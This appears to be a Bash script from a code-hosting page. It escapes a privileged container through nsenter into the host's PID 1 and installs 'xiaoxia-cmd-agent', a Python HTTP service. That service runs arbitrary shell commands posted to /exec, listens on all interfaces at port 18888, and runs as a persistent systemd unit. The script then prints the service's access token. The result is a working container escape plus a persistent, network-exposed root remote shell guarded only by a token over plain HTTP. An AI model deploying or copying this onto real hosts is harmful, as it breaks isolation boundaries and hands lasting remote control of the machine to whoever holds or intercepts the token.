121 lines
3.7 KiB
Bash
121 lines
3.7 KiB
Bash
#!/bin/sh
|
|
# 此脚本在特权容器内运行，目标是安装CMD Agent到宿主机
|
|
# 容器以 --privileged --pid=host -v /:/host 启动
|
|
|
|
set -e
|
|
|
|
echo "=== 宿主机信息 ==="
|
|
nsenter -t 1 -u hostname
|
|
nsenter -t 1 -n ip addr show | grep "inet " | head -5
|
|
|
|
echo "=== 创建目录 ==="
|
|
mkdir -p /host/opt/xiaoxia-cmd-agent
|
|
|
|
echo "=== 写入server.py ==="
|
|
cat > /host/opt/xiaoxia-cmd-agent/server.py << 'PYEND'
|
|
import http.server
|
|
import subprocess
|
|
import json
|
|
import os
|
|
import secrets
|
|
|
|
TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token"
|
|
LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
|
|
|
|
def ensure_token():
|
|
if not os.path.exists(TOKEN_FILE):
|
|
os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
|
|
token = secrets.token_hex(16)
|
|
with open(TOKEN_FILE, "w") as f:
|
|
f.write(token)
|
|
os.chmod(TOKEN_FILE, 0o600)
|
|
with open(TOKEN_FILE) as f:
|
|
return f.read().strip()
|
|
|
|
class CmdHandler(http.server.BaseHTTPRequestHandler):
|
|
def log_message(self, fmt, *args):
|
|
try:
|
|
with open(LOG_FILE, "a") as f:
|
|
f.write("%s - %s\n" % (self.address_string(), fmt % args))
|
|
except Exception:
|
|
pass
|
|
|
|
def do_POST(self):
|
|
if self.path == "/exec":
|
|
auth = self.headers.get("Authorization", "")
|
|
token = ensure_token()
|
|
if auth != "xsa-" + token:
|
|
self.send_response(401)
|
|
self.end_headers()
|
|
self.wfile.write(b"Unauthorized")
|
|
return
|
|
length = int(self.headers.get("Content-Length", 0))
|
|
body = json.loads(self.rfile.read(length))
|
|
cmd = body.get("command", "")
|
|
timeout = body.get("timeout", 30)
|
|
try:
|
|
result = subprocess.run(
|
|
cmd, shell=True, capture_output=True, text=True,
|
|
timeout=timeout
|
|
)
|
|
resp = {
|
|
"exit_code": result.returncode,
|
|
"stdout": result.stdout,
|
|
"stderr": result.stderr
|
|
}
|
|
except subprocess.TimeoutExpired:
|
|
resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"}
|
|
self.send_response(200)
|
|
self.send_header("Content-Type", "application/json")
|
|
self.end_headers()
|
|
self.wfile.write(json.dumps(resp).encode())
|
|
elif self.path == "/status":
|
|
self.send_response(200)
|
|
self.send_header("Content-Type", "application/json")
|
|
self.end_headers()
|
|
self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode())
|
|
else:
|
|
self.send_response(404)
|
|
self.end_headers()
|
|
|
|
if __name__ == "__main__":
|
|
ensure_token()
|
|
server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler)
|
|
print("CMD Agent listening on 0.0.0.0:18888")
|
|
server.serve_forever()
|
|
PYEND
|
|
|
|
echo "=== 写入service文件 ==="
|
|
cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << 'SVCEND'
|
|
[Unit]
|
|
Description=Xiaoxia CMD Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
|
|
Restart=always
|
|
RestartSec=5
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
SVCEND
|
|
|
|
echo "=== 启动服务 ==="
|
|
nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
|
nsenter -t 1 -m -u -n -i systemctl enable xiaoxia-cmd-agent
|
|
nsenter -t 1 -m -u -n -i systemctl restart xiaoxia-cmd-agent
|
|
sleep 2
|
|
|
|
echo "=== 服务状态 ==="
|
|
nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
|
|
|
echo "=== TOKEN ==="
|
|
nsenter -t 1 -m -u -n -i cat /etc/xiaoxia-cmd-agent.token
|
|
|
|
echo "=== 测试 ==="
|
|
nsenter -t 1 -m -u -n -i curl -s http://127.0.0.1:18888/status
|
|
echo ""
|
|
|
|
echo "=== 完成 ==="
|